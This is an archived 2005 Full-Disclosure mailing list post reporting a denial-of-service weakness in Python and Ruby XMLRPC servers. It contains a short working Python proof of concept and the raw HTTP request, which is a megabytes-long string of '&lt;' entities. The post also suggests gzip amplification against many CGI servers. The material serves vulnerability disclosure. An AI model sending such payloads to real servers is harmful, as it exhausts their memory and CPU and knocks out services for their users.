full-disclosure - [DoS] XMLRPC and handling of >

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat Apr 16 16:51:12 2005
From: divzero at gmail.com (Rudolf Polzer)
Subject: [DoS] XMLRPC and handling of &gt;

This simple Python code seems to be successful at DoSing any Python or
Ruby XMLRPC server:

  import xmlrpclib
  s = xmlrpclib.server("http://127.0.0.1:8001/RPC2")
  s.cancel("<" * 1000000)

This sends about four megabytes of data, the server however takes very
long to handle it. The Ruby server I tried this on is still running at
full CPU load; it first grew to 120MB in size, but still consumes CPU
load without end. Probably it will be done in a day or two.

A comparable Python SimpleXMLRPCServer eats 500MB of RAM and gets
killed by the ulimits I set up here. On university who don't have such
limits but 512MB of RAM and 1024MB of swap, it starts swapping and
swapping and eventually gets killed by the kernel.

The request, to be downloaded from
http://t.div0.ccc-offenbach.org/xmlrpc.http.bz2 (below one kilobyte),
does nothing more than

  POST /RPC2 HTTP/1.0
  Host: localhost
  Connection: close
  Content-Type: text/xml
  Content-Length: 4000150

  <?xml version='1.0'?>
  <methodCall>
  <methodName>cancel</methodName>
  <params>
  <param>
  <value><string>&lt;&lt;&lt;.......................&lt;</string></value>
  </param>
  </params>
  </methodcall>

As you see, the problem seems to be the handling of the entities.

Now this is bad when using a standalone XMLRPC server, but requests
have to be quite large to exploit it (4MB this time). However, imagine
an XMLRPC server supporting Content-Transfer-Encoding: gzip. For
example one running as a CGI in Apache. Now that you are imagining
that, it shouldn't be hard any more to imagine hundreds, thousands of
such CGIs running (that's easy to do since the gzipped request is
about four kilobytes). What do we have now?

Right, the equivalent of the malloc-fork-and-touch bomb.

Is there ANY XMLRPC implementation NOT vulnerable to this rather
simple DoS attack (and be it an ugly workaround, like a memory limit
for the parser and returning "HTTP/1.0 500 Internal Server Error" if
exceeded)?